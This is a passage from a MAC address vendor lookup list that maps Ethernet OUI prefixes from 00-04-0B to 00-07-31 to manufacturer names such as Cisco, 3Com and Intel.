+00-04-0B:3com Europe Ltd. +00-04-0C:KANNO Work's Ltd. +00-04-0D:Avaya, Inc. +00-04-0E:AVM GmbH +00-04-0F:Asus Network Technologies, Inc. +00-04-10:Spinnaker Networks, Inc. +00-04-11:Inkra Networks, Inc. +00-04-12:WaveSmith Networks, Inc. +00-04-13:SNOM Technology AG +00-04-14:Umezawa Musen Denki Co., Ltd. +00-04-15:Rasteme Systems Co., Ltd. +00-04-16:Parks S/A Comunicacoes Digitais +00-04-17:ELAU AG +00-04-18:Teltronic S.A.U. +00-04-19:Fibercycle Networks, Inc. +00-04-1A:ines GmbH +00-04-1B:Digital Interfaces Ltd. +00-04-1C:ipDialog, Inc. +00-04-1D:Corega of America +00-04-1E:Shikoku Instrumentation Co., Ltd. +00-04-1F:Sony Computer Entertainment, Inc. +00-04-20:Slim Devices, Inc. +00-04-21:Ocular Networks +00-04-22:Gordon Kapes, Inc. +00-04-23:Intel Corporation +00-04-24:TMC s.r.l. +00-04-25:Atmel Corporation +00-04-26:Autosys +00-04-27:Cisco Systems, Inc. +00-04-28:Cisco Systems, Inc. +00-04-29:Pixord Corporation +00-04-2A:Wireless Networks, Inc. +00-04-2B:IT Access Co., Ltd. +00-04-2C:Minet, Inc. +00-04-2D:Sarian Systems, Ltd. +00-04-2E:Netous Technologies, Ltd. +00-04-2F:International Communications Products, Inc. +00-04-30:Netgem +00-04-31:GlobalStreams, Inc. +00-04-32:Voyetra Turtle Beach, Inc. +00-04-33:Cyberboard A/S +00-04-34:Accelent Systems, Inc. +00-04-35:Comptek International, Inc. +00-04-36:ELANsat Technologies, Inc. +00-04-37:Powin Information Technology, Inc. +00-04-38:Nortel Networks +00-04-39:Rosco Entertainment Technology, Inc. +00-04-3A:Intelligent Telecommunications, Inc. +00-04-3B:Lava Computer Mfg., Inc. +00-04-3C:SONOS Co., Ltd. +00-04-3D:INDEL AG +00-04-3E:Telencomm +00-04-3F:Electronic Systems Technology, Inc. +00-04-40:cyberPIXIE, Inc. +00-04-41:Half Dome Systems, Inc. +00-04-42:NACT +00-04-43:Agilent Technologies, Inc. +00-04-44:Western Multiplex Corporation +00-04-45:LMS Skalar Instruments GmbH +00-04-46:CYZENTECH Co., Ltd. +00-04-47:Acrowave Systems Co., Ltd. +00-04-48:Polaroid Professional Imaging +00-04-49:Mapletree Networks +00-04-4A:iPolicy Networks, Inc. +00-04-4B:NVIDIA +00-04-4C:JENOPTIK +00-04-4D:Cisco Systems, Inc. +00-04-4E:Cisco Systems, Inc. +00-04-4F:Leukhardt Systemelektronik GmbH +00-04-50:DMD Computers SRL +00-04-51:Medrad, Inc. +00-04-52:RocketLogix, Inc. +00-04-53:YottaYotta, Inc. +00-04-54:Quadriga UK +00-04-55:ANTARA.net +00-04-56:PipingHot Networks +00-04-57:Universal Access Technology, Inc. +00-04-58:Fusion X Co., Ltd. +00-04-59:Veristar Corporation +00-04-5A:The Linksys Group, Inc. +00-04-5B:Techsan Electronics Co., Ltd. +00-04-5C:Mobiwave Pte Ltd +00-04-5D:BEKA Elektronik +00-04-5E:PolyTrax Information Technology AG +00-04-5F:Evalue Technology, Inc. +00-04-60:Knilink Technology, Inc. +00-04-61:EPOX Computer Co., Ltd. +00-04-62:DAKOS Data & Communication Co., Ltd. +00-04-63:Bosch Security Systems +00-04-64:Fantasma Networks, Inc. +00-04-65:i.s.t isdn-support technik GmbH +00-04-66:ARMITEL Co. +00-04-67:Wuhan Research Institute of MII +00-04-68:Vivity, Inc. +00-04-69:Innocom, Inc. +00-04-6A:Navini Networks +00-04-6B:Palm Wireless, Inc. +00-04-6C:Cyber Technology Co., Ltd. +00-04-6D:Cisco Systems, Inc. +00-04-6E:Cisco Systems, Inc. +00-04-6F:Digitel S/A Industria Eletronica +00-04-70:ipUnplugged AB +00-04-71:IPrad +00-04-72:Telelynx, Inc. +00-04-73:Photonex Corporation +00-04-74:LEGRAND +00-04-75:3 Com Corporation +00-04-76:3 Com Corporation +00-04-77:Scalant Systems, Inc. +00-04-78:G. Star Technology Corporation +00-04-79:Radius Co., Ltd. +00-04-7A:AXXESSIT ASA +00-04-7B:Schlumberger +00-04-7C:Skidata AG +00-04-7D:Pelco +00-04-7E:NKF Electronics +00-04-7F:Chr. Mayr GmbH & Co. KG +00-04-80:Foundry Networks, Inc. +00-04-81:Econolite Control Products, Inc. +00-04-82:Medialogic Corp. +00-04-83:Deltron Technology, Inc. +00-04-84:Amann GmbH +00-04-85:PicoLight +00-04-86:ITTC, University of Kansas +00-04-87:Cogency Semiconductor, Inc. +00-04-88:Eurotherm Controls +00-04-89:YAFO Networks, Inc. +00-04-8A:Temia Vertriebs GmbH +00-04-8B:Poscon Corporation +00-04-8C:Nayna Networks, Inc. +00-04-8D:Tone Commander Systems, Inc. +00-04-8E:Ohm Tech Labs, Inc. +00-04-8F:TD Systems Corp. +00-04-90:Optical Access +00-04-91:Technovision, Inc. +00-04-92:Hive Internet, Ltd. +00-04-93:Tsinghua Unisplendour Co., Ltd. +00-04-94:Breezecom, Ltd. +00-04-95:Tejas Networks +00-04-96:Extreme Networks +00-04-97:MacroSystem Digital Video AG +00-04-98:PRIVATE +00-04-99:Chino Corporation +00-04-9A:Cisco Systems, Inc. +00-04-9B:Cisco Systems, Inc. +00-04-9C:Surgient Networks, Inc. +00-04-9D:Ipanema Technologies +00-04-9E:Wirelink Co., Ltd. +00-04-9F:Metrowerks +00-04-A0:Verity Instruments, Inc. +00-04-A1:Pathway Connectivity +00-04-A2:L.S.I. Japan Co., Ltd. +00-04-A3:Microchip Technology, Inc. +00-04-A4:NetEnabled, Inc. +00-04-A5:Barco Projection Systems NV +00-04-A6:SAF Tehnika Ltd. +00-04-A7:FabiaTech Corporation +00-04-A8:Broadmax Technologies, Inc. +00-04-A9:SandStream Technologies, Inc. +00-04-AA:Jetstream Communications +00-04-AB:Comverse Network Systems, Inc. +00-04-AC:IBM CORP. +00-04-AD:Malibu Networks +00-04-AE:Liquid Metronics +00-04-AF:Digital Fountain, Inc. +00-04-B0:ELESIGN Co., Ltd. +00-04-B1:Signal Technology, Inc. +00-04-B2:ESSEGI SRL +00-04-B3:Videotek, Inc. +00-04-B4:CIAC +00-04-B5:Equitrac Corporation +00-04-B6:Stratex Networks, Inc. +00-04-B7:AMB i.t. Holding +00-04-B8:Kumahira Co., Ltd. +00-04-B9:S.I. Soubou, Inc. +00-04-BA:KDD Media Will Corporation +00-04-BB:Bardac Corporation +00-04-BC:Giantec, Inc. +00-04-BD:Motorola BCS +00-04-BE:OptXCon, Inc. +00-04-BF:VersaLogic Corp. +00-04-C0:Cisco Systems, Inc. +00-04-C1:Cisco Systems, Inc. +00-04-C2:Magnipix, Inc. +00-04-C3:CASTOR Informatique +00-04-C4:Allen & Heath Limited +00-04-C5:ASE Technologies, USA +00-04-C6:Yamaha Motor Co., Ltd. +00-04-C7:NetMount +00-04-C8:LIBA Maschinenfabrik GmbH +00-04-C9:Micro Electron Co., Ltd. +00-04-CA:FreeMs Corp. +00-04-CB:Tdsoft Communication, Ltd. +00-04-CC:Peek Traffic B.V. +00-04-CD:Informedia Research Group +00-04-CE:Patria Ailon +00-04-CF:Seagate Technology +00-04-D0:Softlink s.r.o. +00-04-D1:Drew Technologies, Inc. +00-04-D2:Adcon Telemetry AG +00-04-D3:Toyokeiki Co., Ltd. +00-04-D4:Proview Electronics Co., Ltd. +00-04-D5:Hitachi Communication Systems, Inc. +00-04-D6:Takagi Industrial Co., Ltd. +00-04-D7:Omitec Instrumentation Ltd. +00-04-D8:IPWireless, Inc. +00-04-D9:Titan Electronics, Inc. +00-04-DA:Relax Technology, Inc. +00-04-DB:Tellus Group Corp. +00-04-DC:Nortel Networks +00-04-DD:Cisco Systems, Inc. +00-04-DE:Cisco Systems, Inc. +00-04-DF:Teracom Telematica Ltda. +00-04-E0:Procket Networks +00-04-E1:Infinior Microsystems +00-04-E2:SMC Networks, Inc. +00-04-E3:Accton Technology Corp. +00-04-E4:Daeryung Ind., Inc. +00-04-E5:Glonet Systems, Inc. +00-04-E6:Banyan Network Private Limited +00-04-E7:Lightpointe Communications, Inc +00-04-E8:IER, Inc. +00-04-E9:Infiniswitch Corporation +00-04-EA:Hewlett-Packard Company +00-04-EB:Paxonet Communications, Inc. +00-04-EC:Memobox SA +00-04-ED:Billion Electric Co., Ltd. +00-04-EE:Lincoln Electric Company +00-04-EF:Polestar Corp. +00-04-F0:International Computers, Ltd +00-04-F1:WhereNet +00-04-F2:Circa Communications, Ltd. +00-04-F3:FS FORTH-SYSTEME GmbH +00-04-F4:Infinite Electronics Inc. +00-04-F5:SnowShore Networks, Inc. +00-04-F6:Amphus +00-04-F7:Omega Band, Inc. +00-04-F8:QUALICABLE TV Industria E Com., Ltda +00-04-F9:Xtera Communications, Inc. +00-04-FA:MIST Inc. +00-04-FB:Commtech, Inc. +00-04-FC:Stratus Computer (DE), Inc. +00-04-FD:Japan Control Engineering Co., Ltd. +00-04-FE:Pelago Networks +00-04-FF:Acronet Co., Ltd. +00-05-00:Cisco Systems, Inc. +00-05-01:Cisco Systems, Inc. +00-05-02:APPLE COMPUTER +00-05-03:ICONAG +00-05-04:Naray Information & Communication Enterprise +00-05-05:Systems Integration Solutions, Inc. +00-05-06:Reddo Networks AB +00-05-07:Fine Appliance Corp. +00-05-08:Inetcam, Inc. +00-05-09:AVOC Nishimura Ltd. +00-05-0A:ICS Spa +00-05-0B:SICOM Systems, Inc. +00-05-0C:Network Photonics, Inc. +00-05-0D:Midstream Technologies, Inc. +00-05-0E:3ware, Inc. +00-05-0F:Tanaka S/S Ltd. +00-05-10:Infinite Shanghai Communication Terminals Ltd. +00-05-11:Complementary Technologies Ltd +00-05-12:MeshNetworks, Inc. +00-05-13:VTLinx Multimedia Systems, Inc. +00-05-14:KDT Systems Co., Ltd. +00-05-15:Nuark Co., Ltd. +00-05-16:SMART Modular Technologies +00-05-17:Shellcomm, Inc. +00-05-18:Jupiters Technology +00-05-19:Siemens Building Technologies AG, +00-05-1A:3Com Europe Ltd. +00-05-1B:Magic Control Technology Corporation +00-05-1C:Xnet Technology Corp. +00-05-1D:Airocon, Inc. +00-05-1E:Brocade Communications Systems, Inc. +00-05-1F:Taijin Media Co., Ltd. +00-05-20:Smartronix, Inc. +00-05-21:Control Microsystems +00-05-22:LEA*D Corporation, Inc. +00-05-23:AVL List GmbH +00-05-24:BTL System (HK) Limited +00-05-25:Puretek Industrial Co., Ltd. +00-05-26:IPAS GmbH +00-05-27:SJ Tek Co. Ltd +00-05-28:New Focus, Inc. +00-05-29:Shanghai Broadan Communication Technology Co., Ltd +00-05-2A:Ikegami Tsushinki Co., Ltd. +00-05-2B:HORIBA, Ltd. +00-05-2C:Supreme Magic Corporation +00-05-2D:Zoltrix International Limited +00-05-2E:Cinta Networks +00-05-2F:Leviton Voice and Data +00-05-30:Andiamo Systems, Inc. +00-05-31:Cisco Systems, Inc. +00-05-32:Cisco Systems, Inc. +00-05-33:Sanera Systems, Inc. +00-05-34:Northstar Engineering Ltd. +00-05-35:Chip PC Ltd. +00-05-36:Danam Communications, Inc. +00-05-37:Nets Technology Co., Ltd. +00-05-38:Merilus, Inc. +00-05-39:A Brand New World in Sweden AB +00-05-3A:Willowglen Services Pte Ltd +00-05-3B:Harbour Networks Ltd., Co. Beijing +00-05-3C:Xircom +00-05-3D:Agere Systems +00-05-3E:KID Systeme GmbH +00-05-3F:VisionTek, Inc. +00-05-40:FAST Corporation +00-05-41:Advanced Systems Co., Ltd. +00-05-42:Otari, Inc. +00-05-43:IQ Wireless GmbH +00-05-44:Valley Technologies, Inc. +00-05-45:Internet Photonics +00-05-46:K-Solutions Inc. +00-05-47:Starent Networks +00-05-48:Disco Corporation +00-05-49:Salira Optical Network Systems +00-05-4A:Ario Data Networks, Inc. +00-05-4B:Micro Innovation AG +00-05-4C:RF Innovations Pty Ltd +00-05-4D:Brans Technologies, Inc. +00-05-4E:Philips Components +00-05-4F:PRIVATE +00-05-50:Digi-Tech Communications Limited +00-05-51:F & S Elektronik Systeme GmbH +00-05-52:Xycotec Computer GmbH +00-05-53:DVC Company, Inc. +00-05-54:Rangestar Wireless +00-05-55:Japan Cash Machine Co., Ltd. +00-05-56:360 Systems +00-05-57:Agile TV Corporation +00-05-58:Synchronous, Inc. +00-05-59:Intracom S.A. +00-05-5A:Power Dsine Ltd. +00-05-5B:Charles Industries, Ltd. +00-05-5C:Kowa Company, Ltd. +00-05-5D:D-Link Systems, Inc. +00-05-5E:Cisco Systems, Inc. +00-05-5F:Cisco Systems, Inc. +00-05-60:LEADER COMM.CO., LTD +00-05-61:nac Image Technology, Inc. +00-05-62:Digital View Limited +00-05-63:J-Works, Inc. +00-05-64:Tsinghua Bitway Co., Ltd. +00-05-65:Tailyn Communication Company Ltd. +00-05-66:Secui.com Corporation +00-05-67:Etymonic Design, Inc. +00-05-68:Piltofish Networks AB +00-05-69:VMWARE, Inc. +00-05-6A:Heuft Systemtechnik GmbH +00-05-6B:C.P. Technology Co., Ltd. +00-05-6C:Hung Chang Co., Ltd. +00-05-6D:Pacific Corporation +00-05-6E:National Enhance Technology, Inc. +00-05-6F:Innomedia Technologies Pvt. Ltd. +00-05-70:Baydel Ltd. +00-05-71:Seiwa Electronics Co. +00-05-72:Deonet Co., Ltd. +00-05-73:Cisco Systems, Inc. +00-05-74:Cisco Systems, Inc. +00-05-75:CDS-Electronics BV +00-05-76:NSM Technology Ltd. +00-05-77:SM Information & Communication +00-05-78:PRIVATE +00-05-79:Universal Control Solution Corp. +00-05-7A:Hatteras Networks +00-05-7B:Chung Nam Electronic Co., Ltd. +00-05-7C:RCO Security AB +00-05-7D:Sun Communications, Inc. +00-05-7E:Eckelmann Steuerungstechnik GmbH +00-05-7F:Acqis Technology +00-05-80:Fibrolan Ltd. +00-05-81:Snell & Wilcox Ltd. +00-05-82:ClearCube Technology +00-05-83:ImageCom Limited +00-05-84:AbsoluteValue Systems, Inc. +00-05-85:Juniper Networks, Inc. +00-05-86:Lucent Technologies +00-05-87:Locus, Incorporated +00-05-88:Sensoria Corp. +00-05-89:National Datacomputer +00-05-8A:Netcom Co., Ltd. +00-05-8B:IPmental, Inc. +00-05-8C:Opentech Inc. +00-05-8D:Lynx Photonic Networks, Inc. +00-05-8E:Flextronics International GmbH & Co. Nfg. KG +00-05-8F:CLCsoft co. +00-05-90:Swissvoice Ltd. +00-05-91:Active Silicon Ltd. +00-05-92:Pultek Corp. +00-05-93:Grammar Engine Inc. +00-05-94:IXXAT Automation GmbH +00-05-95:Alesis Corporation +00-05-96:Genotech Co., Ltd. +00-05-97:Eagle Traffic Control Systems +00-05-98:CRONOS S.r.l. +00-05-99:DRS Test and Energy Management or DRS-TEM +00-05-9A:Cisco Systems, Inc. +00-05-9B:Cisco Systems, Inc. +00-05-9C:Kleinknecht GmbH, Ing. Buero +00-05-9D:Daniel Computing Systems, Inc. +00-05-9E:Zinwell Corporation +00-05-9F:Yotta Networks, Inc. +00-05-A0:MOBILINE Kft. +00-05-A1:Zenocom +00-05-A2:CELOX Networks +00-05-A3:QEI, Inc. +00-05-A4:Lucid Voice Ltd. +00-05-A5:KOTT +00-05-A6:Extron Electronics +00-05-A7:Hyperchip, Inc. +00-05-A8:WYLE ELECTRONICS +00-05-A9:Princeton Networks, Inc. +00-05-AA:Moore Industries International Inc. +00-05-AB:Cyber Fone, Inc. +00-05-AC:Northern Digital, Inc. +00-05-AD:Topspin Communications, Inc. +00-05-AE:Mediaport USA +00-05-AF:InnoScan Computing A/S +00-05-B0:Korea Computer Technology Co., Ltd. +00-05-B1:ASB Technology BV +00-05-B2:Medison Co., Ltd. +00-05-B3:Asahi-Engineering Co., Ltd. +00-05-B4:Aceex Corporation +00-05-B5:Broadcom Technologies +00-05-B6:INSYS Microelectronics GmbH +00-05-B7:Arbor Technology Corp. +00-05-B8:Electronic Design Associates, Inc. +00-05-B9:Airvana, Inc. +00-05-BA:Area Netwoeks, Inc. +00-05-BB:Myspace AB +00-05-BC:Resorsys Ltd. +00-05-BD:ROAX BV +00-05-BE:Kongsberg Seatex AS +00-05-BF:JustEzy Technology, Inc. +00-05-C0:Digital Network Alacarte Co., Ltd. +00-05-C1:A-Kyung Motion, Inc. +00-05-C2:Soronti, Inc. +00-05-C3:Pacific Instruments, Inc. +00-05-C4:Telect, Inc. +00-05-C5:Flaga HF +00-05-C6:Triz Communications +00-05-C7:I/F-COM A/S +00-05-C8:VERYTECH +00-05-C9:LG Innotek +00-05-CA:Hitron Technology, Inc. +00-05-CB:ROIS Technologies, Inc. +00-05-CC:Sumtel Communications, Inc. +00-05-CD:Denon, Ltd. +00-05-CE:Prolink Microsystems Corporation +00-05-CF:Thunder River Technologies, Inc. +00-05-D0:Solinet Systems +00-05-D1:Metavector Technologies +00-05-D2:DAP Technologies +00-05-D3:eProduction Solutions, Inc. +00-05-D4:FutureSmart Networks, Inc. +00-05-D5:Speedcom Wireless +00-05-D6:Titan Wireless +00-05-D7:Vista Imaging, Inc. +00-05-D8:Arescom, Inc. +00-05-D9:Techno Valley, Inc. +00-05-DA:Apex Automationstechnik +00-05-DB:Nentec GmbH +00-05-DC:Cisco Systems, Inc. +00-05-DD:Cisco Systems, Inc. +00-05-DE:Gi Fone Korea, Inc. +00-05-DF:Electronic Innovation, Inc. +00-05-E0:Empirix Corp. +00-05-E1:Trellis Photonics, Ltd. +00-05-E2:Creativ Network Technologies +00-05-E3:LightSand Communications, Inc. +00-05-E4:Red Lion Controls L.P. +00-05-E5:Renishaw PLC +00-05-E6:Egenera, Inc. +00-05-E7:Netrake Corp. +00-05-E8:TurboWave, Inc. +00-05-E9:Unicess Network, Inc. +00-05-EA:Rednix +00-05-EB:Blue Ridge Networks, Inc. +00-05-EC:Mosaic Systems Inc. +00-05-ED:Technikum Joanneum GmbH +00-05-EE:BEWATOR Group +00-05-EF:ADOIR Digital Technology +00-05-F0:SATEC +00-05-F1:Vrcom, Inc. +00-05-F2:Power R, Inc. +00-05-F3:Weboyn +00-05-F4:System Base Co., Ltd. +00-05-F5:OYO Geospace Corp. +00-05-F6:Young Chang Co. Ltd. +00-05-F7:Analog Devices, Inc. +00-05-F8:Real Time Access, Inc. +00-05-F9:TOA Corporation +00-05-FA:IPOptical, Inc. +00-05-FB:ShareGate, Inc. +00-05-FC:Schenck Pegasus Corp. +00-05-FD:PacketLight Networks Ltd. +00-05-FE:Traficon N.V. +00-05-FF:SNS Solutions, Inc. +00-06-00:Tokyo Electronic Industry Co., Ltd. +00-06-01:Otanikeiki Co., Ltd. +00-06-02:Cirkitech Electronics Co. +00-06-03:Baker Hughes Inc. +00-06-04:@Track Communications, Inc. +00-06-05:Inncom International, Inc. +00-06-06:RapidWAN, Inc. +00-06-07:Omni Directional Control Technology Inc. +00-06-08:At-Sky SAS +00-06-09:Crossport Systems +00-06-0A:Blue2space +00-06-0B:Paceline Systems Corporation +00-06-0C:Melco Industries, Inc. +00-06-0D:Wave7 Optics +00-06-0E:IGYS Systems, Inc. +00-06-0F:Narad Networks Inc +00-06-10:Abeona Networks Inc +00-06-11:Zeus Wireless, Inc. +00-06-12:Accusys, Inc. +00-06-13:Kawasaki Microelectronics Incorporated +00-06-14:Prism Holdings +00-06-15:Kimoto Electric Co., Ltd. +00-06-16:Tel Net Co., Ltd. +00-06-17:Redswitch Inc. +00-06-18:DigiPower Manufacturing Inc. +00-06-19:Connection Technology Systems +00-06-1A:Zetari Inc. +00-06-1B:Portable Systems, IBM Japan Co, Ltd +00-06-1C:Hoshino Metal Industries, Ltd. +00-06-1D:MIP Telecom, Inc. +00-06-1E:Maxan Systems +00-06-1F:Vision Components GmbH +00-06-20:Serial System Ltd. +00-06-21:Hinox, Co., Ltd. +00-06-22:Chung Fu Chen Yeh Enterprise Corp. +00-06-23:MGE UPS Systems France +00-06-24:Gentner Communications Corp. +00-06-25:The Linksys Group, Inc. +00-06-26:MWE GmbH +00-06-27:Uniwide Technologies, Inc. +00-06-28:Cisco Systems, Inc. +00-06-29:IBM CORPORATION +00-06-2A:Cisco Systems, Inc. +00-06-2B:INTRASERVER TECHNOLOGY +00-06-2C:Network Robots, Inc. +00-06-2D:TouchStar Technologies, L.L.C. +00-06-2E:Aristos Logic Corp. +00-06-2F:Pivotech Systems Inc. +00-06-30:Adtranz Sweden +00-06-31:Optical Solutions, Inc. +00-06-32:Mesco Engineering GmbH +00-06-33:Heimann Biometric Systems GmbH +00-06-34:GTE Airfone Inc. +00-06-35:PacketAir Networks, Inc. +00-06-36:Jedai Broadband Networks +00-06-37:Toptrend-Meta Information (ShenZhen) Inc. +00-06-38:Sungjin C&C Co., Ltd. +00-06-39:Newtec +00-06-3A:Dura Micro, Inc. +00-06-3B:Arcturus Networks, Inc. +00-06-3C:NMI Electronics Ltd +00-06-3D:Microwave Data Systems Inc. +00-06-3E:Opthos Inc. +00-06-3F:Everex Communications Inc. +00-06-40:White Rock Networks +00-06-41:ITCN +00-06-42:Genetel Systems Inc. +00-06-43:SONO Computer Co., Ltd. +00-06-44:NEIX Inc. +00-06-45:Meisei Electric Co. Ltd. +00-06-46:ShenZhen XunBao Network Technology Co Ltd +00-06-47:Etrali S.A. +00-06-48:Seedsware, Inc. +00-06-49:Quante +00-06-4A:Honeywell Co., Ltd. (KOREA) +00-06-4B:Alexon Co., Ltd. +00-06-4C:Invicta Networks, Inc. +00-06-4D:Sencore +00-06-4E:Broad Net Technology Inc. +00-06-4F:PRO-NETS Technology Corporation +00-06-50:Tiburon Networks, Inc. +00-06-51:Aspen Networks Inc. +00-06-52:Cisco Systems, Inc. +00-06-53:Cisco Systems, Inc. +00-06-54:Maxxio Technologies +00-06-55:Yipee, Inc. +00-06-56:Tactel AB +00-06-57:Market Central, Inc. +00-06-58:Helmut Fischer GmbH & Co. KG +00-06-59:EAL (Apeldoorn) B.V. +00-06-5A:Strix Systems +00-06-5B:Dell Computer Corp. +00-06-5C:Malachite Technologies, Inc. +00-06-5D:Heidelberg Web Systems +00-06-5E:Photuris, Inc. +00-06-5F:ECI Telecom - NGTS Ltd. +00-06-60:NADEX Co., Ltd. +00-06-61:NIA Home Technologies Corp. +00-06-62:MBM Technology Ltd. +00-06-63:Human Technology Co., Ltd. +00-06-64:Fostex Corporation +00-06-65:Sunny Giken, Inc. +00-06-66:Roving Networks +00-06-67:Tripp Lite +00-06-68:Vicon Industries Inc. +00-06-69:Datasound Laboratories Ltd +00-06-6A:InfiniCon Systems, Inc. +00-06-6B:Sysmex Corporation +00-06-6C:Robinson Corporation +00-06-6D:Compuprint S.P.A. +00-06-6E:Delta Electronics, Inc. +00-06-6F:Korea Data Systems +00-06-70:Upponetti Oy +00-06-71:Softing AG +00-06-72:Netezza +00-06-73:Optelecom, Inc. +00-06-74:Spectrum Control, Inc. +00-06-75:Banderacom, Inc. +00-06-76:Novra Technologies Inc. +00-06-77:SICK AG +00-06-78:Marantz Japan, Inc. +00-06-79:Konami Corporation +00-06-7A:JMP Systems +00-06-7B:Toplink C&C Corporation +00-06-7C:CISCO SYSTEMS, INC. +00-06-7D:Takasago Ltd. +00-06-7E:WinCom Systems, Inc. +00-06-7F:Rearden Steel Technologies +00-06-80:Card Access, Inc. +00-06-81:Goepel Electronic GmbH +00-06-82:Convedia +00-06-83:Bravara Communications, Inc. +00-06-84:Biacore AB +00-06-85:NetNearU Corporation +00-06-86:ZARDCOM Co., Ltd. +00-06-87:Omnitron Systems Technology, Inc. +00-06-88:Telways Communication Co., Ltd. +00-06-89:yLez Technologies Pte Ltd +00-06-8A:NeuronNet Co. Ltd. R&D Center +00-06-8B:AirRunner Technologies, Inc. +00-06-8C:3Com Corporation +00-06-8D:SANgate Systems +00-06-8E:HID Corporation +00-06-8F:Telemonitor, Inc. +00-06-90:Euracom Communication GmbH +00-06-91:PT Inovacao +00-06-92:Intruvert Networks, Inc. +00-06-93:Flexus Computer Technology, Inc. +00-06-94:Mobillian Corporation +00-06-95:Ensure Technologies, Inc. +00-06-96:Advent Networks +00-06-97:R & D Center +00-06-98:egnite Software GmbH +00-06-99:Vida Design Co. +00-06-9A:e & Tel +00-06-9B:AVT Audio Video Technologies GmbH +00-06-9C:Transmode Systems AB +00-06-9D:Petards Mobile Intelligence +00-06-9E:UNIQA, Inc. +00-06-9F:Kuokoa Networks +00-06-A0:Mx Imaging +00-06-A1:Celsian Technologies, Inc. +00-06-A2:Microtune, Inc. +00-06-A3:Bitran Corporation +00-06-A4:INNOWELL Corp. +00-06-A5:PINON Corp. +00-06-A6:Artistic Licence (UK) Ltd +00-06-A7:Primarion +00-06-A8:KC Technology, Inc. +00-06-A9:Universal Instruments Corp. +00-06-AA:Miltope Corporation +00-06-AB:W-Link Systems, Inc. +00-06-AC:Intersoft Co. +00-06-AD:KB Electronics Ltd. +00-06-AE:Himachal Futuristic Communications Ltd +00-06-AF:PRIVATE +00-06-B0:Comtech EF Data Corp. +00-06-B1:Sonicwall +00-06-B2:Linxtek Co. +00-06-B3:Diagraph Corporation +00-06-B4:Vorne Industries, Inc. +00-06-B5:Luminent, Inc. +00-06-B6:Nir-Or Israel Ltd. +00-06-B7:TELEM GmbH +00-06-B8:Bandspeed Pty Ltd +00-06-B9:A5TEK Corp. +00-06-BA:Westwave Communications +00-06-BB:ATI Technologies Inc. +00-06-BC:Macrolink, Inc. +00-06-BD:BNTECHNOLOGY Co., Ltd. +00-06-BE:Baumer Optronic GmbH +00-06-BF:Accella Technologies Co., Ltd. +00-06-C0:United Internetworks, Inc. +00-06-C1:CISCO SYSTEMS, INC. +00-06-C2:Smartmatic Corporation +00-06-C3:Schindler Elevators Ltd. +00-06-C4:Piolink Inc. +00-06-C5:INNOVI Technologies Limited +00-06-C6:lesswire AG +00-06-C7:RFNET Technologies Pte Ltd (S) +00-06-C8:Sumitomo Metal Micro Devices, Inc. +00-06-C9:Technical Marketing Research, Inc. +00-06-CA:American Computer & Digital Components, Inc. (ACDC) +00-06-CB:Jotron Electronics A/S +00-06-CC:JMI Electronics Co., Ltd. +00-06-CD:CreoScitex Corporation Ltd. +00-06-CE:DATENO +00-06-CF:Thales Avionics In-Flight Systems, LLC +00-06-D0:Elgar Electronics Corp. +00-06-D1:Tahoe Networks, Inc. +00-06-D2:Tundra Semiconductor Corp. +00-06-D3:Alpha Telecom, Inc. U.S.A. +00-06-D4:Interactive Objects, Inc. +00-06-D5:Diamond Systems Corp. +00-06-D6:Cisco Systems, Inc. +00-06-D7:Cisco Systems, Inc. +00-06-D8:Maple Optical Systems +00-06-D9:IPM-Net S.p.A. +00-06-DA:ITRAN Communications Ltd. +00-06-DB:ICHIPS Co., Ltd. +00-06-DC:Syabas Technology (Amquest) +00-06-DD:AT & T Laboratories - Cambridge Ltd +00-06-DE:Flash Technology +00-06-DF:AIDONIC Corporation +00-06-E0:MAT Co., Ltd. +00-06-E1:Techno Trade s.a +00-06-E2:Ceemax Technology Co., Ltd. +00-06-E3:Quantitative Imaging Corporation +00-06-E4:Citel Technologies Ltd. +00-06-E5:Fujian Newland Computer Ltd. Co. +00-06-E6:DongYang Telecom Co., Ltd. +00-06-E7:Bit Blitz Communications Inc. +00-06-E8:Optical Network Testing, Inc. +00-06-E9:Intime Corp. +00-06-EA:ELZET80 Mikrocomputer GmbH&Co. KG +00-06-EB:Global Data +00-06-EC:M/A COM Private Radio System Inc. +00-06-ED:Inara Networks +00-06-EE:Shenyang Neu-era Information & Technology Stock Co., Ltd +00-06-EF:Maxxan Systems, Inc. +00-06-F0:Digeo, Inc. +00-06-F1:Optillion +00-06-F2:Platys Communications +00-06-F3:AcceLight Networks +00-06-F4:Prime Electronics & Satellitics Inc. +00-06-F8:PRIVATE +00-06-F9:Mitsui Zosen Systems Research Inc. +00-06-FA:IP SQUARE Co, Ltd. +00-06-FB:Hitachi Printing Solutions, Ltd. +00-06-FC:Fnet Co., Ltd. +00-06-FD:Comjet Information Systems Corp. +00-06-FE:Celion Networks, Inc. +00-06-FF:Sheba Systems Co., Ltd. +00-07-00:Zettamedia Korea +00-07-01:RACAL-DATACOM +00-07-02:Varian Medical Systems +00-07-03:CSEE Transport +00-07-05:Endress & Hauser GmbH & Co +00-07-06:Sanritz Corporation +00-07-07:Interalia Inc. +00-07-08:Bitrage Inc. +00-07-09:Westerstrand Urfabrik AB +00-07-0A:Unicom Automation Co., Ltd. +00-07-0B:Octal, SA +00-07-0C:SVA-Intrusion.com Co. Ltd. +00-07-0D:Cisco Systems Inc. +00-07-0E:Cisco Systems Inc. +00-07-0F:Fujant, Inc. +00-07-10:Adax, Inc. +00-07-11:Acterna +00-07-12:JAL Information Technology +00-07-13:IP One, Inc. +00-07-14:Brightcom +00-07-15:General Research of Electronics, Inc. +00-07-16:J & S Marine Ltd. +00-07-17:Wieland Electric GmbH +00-07-18:iCanTek Co., Ltd. +00-07-19:Mobiis Co., Ltd. +00-07-1A:Finedigital Inc. +00-07-1B:Position Technology Inc. +00-07-1C:AT&T Fixed Wireless Services +00-07-1D:Satelsa Sistemas Y Aplicaciones De Telecomunicaciones, S.A. +00-07-1E:Tri-M Engineering / Nupak Dev. Corp. +00-07-1F:European Systems Integration +00-07-20:Trutzschler GmbH & Co. KG +00-07-21:Formac Elektronik GmbH +00-07-22:Nielsen Media Research +00-07-23:ELCON Systemtechnik GmbH +00-07-24:Telemax Co., Ltd. +00-07-25:Bematech International Corp. +00-07-27:Zi Corporation (HK) Ltd. +00-07-28:Neo Telecom +00-07-29:Kistler Instrumente AG +00-07-2A:Innovance Networks +00-07-2B:Jung Myung Telecom Co., Ltd. +00-07-2C:Fabricom +00-07-2D:CNSystems +00-07-2E:North Node AB +00-07-2F:Instransa, Inc. +00-07-30:Hutchison OPTEL Telecom Technology Co., Ltd. +00-07-31:Spiricon, Inc. 